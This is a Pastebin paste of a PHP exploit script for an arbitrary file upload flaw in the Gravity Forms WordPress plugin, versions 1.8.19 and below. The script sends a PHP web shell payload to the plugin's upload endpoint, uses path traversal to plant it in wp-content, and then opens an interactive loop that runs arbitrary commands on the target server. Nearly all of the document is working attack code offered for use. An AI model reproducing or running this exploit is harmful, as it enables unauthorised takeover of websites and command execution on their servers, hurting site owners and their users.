Advertisement
iAnonGuy

Gravity Forms [WP] - Arbitrary File Upload

Jun 17th, 2016
685
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.73 KB | None | 0 0
  1. <?php
  2. /****************************************************************************************************************************
  3.    *
  4.     * Exploit Title        : Gravity Forms [WP] - Arbitrary File Upload
  5.     * Vulnerable Version(s): 1.8.19 (and below)
  6.     * Write-Up             : https://blog.sucuri.net/2015/02/malware-cleanup-to-arbitrary-file-upload-in-gravity-forms.html
  7.     * Coded by             : Abk Khan [ an0nguy @ protonmail.ch ]
  8.   *
  9. *****************************************************************************************************************************/
  10. error_reporting(0);
  11.  
  12. echo "
  13.   _____                 _ _         ______    _ _    
  14.  / ____|               (_) |       |  ____|  | | |    
  15. | |  __ _ __ __ ___   ___| |_ _   _| |__ __ _| | |___
  16. | | |_ | '__/ _` \ \ / / | __| | | |  __/ _` | | / __|
  17. | |__| | | | (_| |\ V /| | |_| |_| | | | (_| | | \__ \
  18.  \_____|_|  \__,_| \_/ |_|\__|\__, |_|  \__,_|_|_|___/
  19.                                __/ |                  
  20.                               |___/     > an Exploiter by AnonGuy\n";
  21. $domain    = (@$argv[1] == '' ? 'http://localhost/wordpress' : @$argv[1]);
  22. $url       = "$domain/?gf_page=upload";
  23. $shell     = "$domain/wp-content/_input_3_khan.php5";
  24. $separator = '-------------------------------------------------------------------';
  25.  
  26. $ch = curl_init($url);
  27. curl_setopt($ch, CURLOPT_POST, true);
  28. curl_setopt($ch, CURLOPT_POSTFIELDS, '<?=system($_GET[0]);?>&form_id=1&name=khan.php5&gform_unique_id=../../../../&field_id=3');
  29. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  30. $response = curl_exec($ch);
  31. curl_close($ch);
  32.  
  33. if (strpos($response, '"ok"') !== false) {
  34.     echo "$separator\nShell at $shell\n$separator\nSpawning a 'No-Session' Shell . . . Done!\n$separator\n";
  35.     while ($testCom != 'exit') {
  36.         $user    = trim(get_string_between(file_get_contents("$shell?0=echo%20'~';%20whoami;%20echo%20'~'"), '~', '~'));
  37.         $b0x     = trim(get_string_between(file_get_contents("$shell?0=echo%20'~';%20hostname;%20echo%20'~'"), '~', '~'));
  38.         echo "$user@$b0x:~$ ";
  39.         $handle  = fopen("php://stdin", 'r');
  40.         $testCom = trim(fgets($handle));
  41.         fclose($handle);
  42.         $comOut  = trim(get_string_between(file_get_contents("$shell?0=echo%20'~';%20" . urlencode($testCom) . ";%20echo%20'~'"), '~', '~')) . "\n";
  43.         echo $comOut;
  44.     }
  45. }
  46. else {
  47.     die("$separator\n$domain doesn't seem to be vulnerable! :(\n$separator");
  48. }
  49.  
  50. function get_string_between($string, $start, $end)
  51. {
  52.     # stolen from stackoverflow!
  53.    $string = ' ' . $string;
  54.     $ini    = strpos($string, $start);
  55.     if ($ini == 0)
  56.         return '';
  57.     $ini += strlen($start);
  58.     $len = strpos($string, $end, $ini) - $ini;
  59.     return substr($string, $ini, $len);
  60. }
  61. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement